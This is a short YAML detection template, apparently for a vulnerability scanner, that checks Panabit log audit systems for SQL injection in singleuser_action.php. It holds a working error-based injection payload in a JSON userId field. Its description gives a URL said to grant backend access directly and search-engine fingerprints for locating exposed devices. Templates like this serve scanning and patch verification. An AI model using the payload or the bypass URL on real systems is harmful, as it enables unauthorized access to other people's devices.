panabit-singleuser-action-sqli: panabit日志审计 singleuser_action.php SQL注入漏洞

id: panabit-singleuser-action-sqli

info:
  name: panabit日志审计 singleuser_action.php SQL注入漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    panabit日志审计存在 singleuser_action.php SQL注入漏洞
    访问 https://x.x.x.x/singlelogin.php?userId=26062 即可进入后台
    
    FOFA: app="Panabit-Panalog"
    ZoomEye: app:"Panabit-Panalog"
  tags: panabit,sqli
  created: 2023/10/30

rules:
  r0:
    request:
      method: POST
      path: /singleuser_action.php
      headers:
        Content-Type: application/json
      body: |
        {
            "syncInfo": {
                "operationType": "ADD_USER",
                "user": {
                    "userId": "a' || updatexml(1,concat(0x7e,(select @@version),0x7e),1)and '1'='1%23",
                    "userPwd": "a"
                }
            }
        }
    expression: |
      response.status == 200 &&
      response.body.bcontains(b"XPATH syntax error")
expression: r0()